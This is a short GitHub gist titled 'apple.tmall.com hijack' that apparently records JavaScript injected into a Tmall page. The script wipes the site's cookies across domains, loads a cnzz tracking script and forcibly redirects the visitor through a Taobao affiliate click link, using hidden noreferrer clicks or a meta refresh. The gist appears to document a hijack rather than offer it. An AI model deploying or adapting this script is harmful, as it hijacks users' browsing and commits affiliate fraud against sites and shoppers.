Skip to content

Instantly share code, notes, and snippets.

@est
Created October 9, 2014 13:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save est/bdfaa7e94643cad74bd2 to your computer and use it in GitHub Desktop.
Save est/bdfaa7e94643cad74bd2 to your computer and use it in GitHub Desktop.
apple.tmall.com hijack
<html><head><meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no"/></head><body></body></html><script>for(var a=document,d='http://s.click.taobao.com/t?e=m%3D2%26s%3D9h%2FCBrFFjdQcQipKwQzePDAVflQIoZepK7Vc7tFgwiFRAdhuF14FMSWTBz76PfFU79%2FTFaMDK6S6tHyvddgop4tLbbsq4MM6fGxKH7pHIwKA%2BjNW0dJzY69d9eFREVGe',c='-1253340436',k=a.body,l=a.location,m=function(){'0'==0.9.toFixed(0)?l.replace(d):/webki/i.test(navigator.userAgent)?~function(b,f){b=a.createElement('a');b.rel='noreferrer';b.href=d;k.appendChild(b);if(b.click){b.click()}else{try{f=a.createEvent('Event');f.initEvent('click',!1,!1);b.dispatchEvent(f)}catch(e){}}}():(a.write('<meta http-equiv="refresh" content="0;url='+d+'"/>'),a.close())},i=function(b,f){var g=a.createElement('script');g.onload=g.onreadystatechange=function(){/m|ded/i.test(this.readyState||'m')&&f&&setTimeout(function(){f()},100)};g.src=b;k.appendChild(g)},j=a.cookie,n='path=/',o='domain=',p='; ',q=!c.indexOf('-')?j.split('; '):[],r=q.length;r--;){for(var s=q[r].split('=')[0].replace('d_y','')+'=',h=l.hostname.split('.'),Z=h.length;--Z;){j=[s,n,o+h.join('.')].join(p);j=[s,n,o+h.join('.'),'expires='+(new Date(0)).toGMTString()].join(p);h.shift()}}d=/^http/i.test(d)?d:a.URL;c=c.replace(/^-/,'');c=(1*c?'//w.cnzz.com/c.php?id=':'')+c;0!=c&&!self.sidebar?i(c,m):m();</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment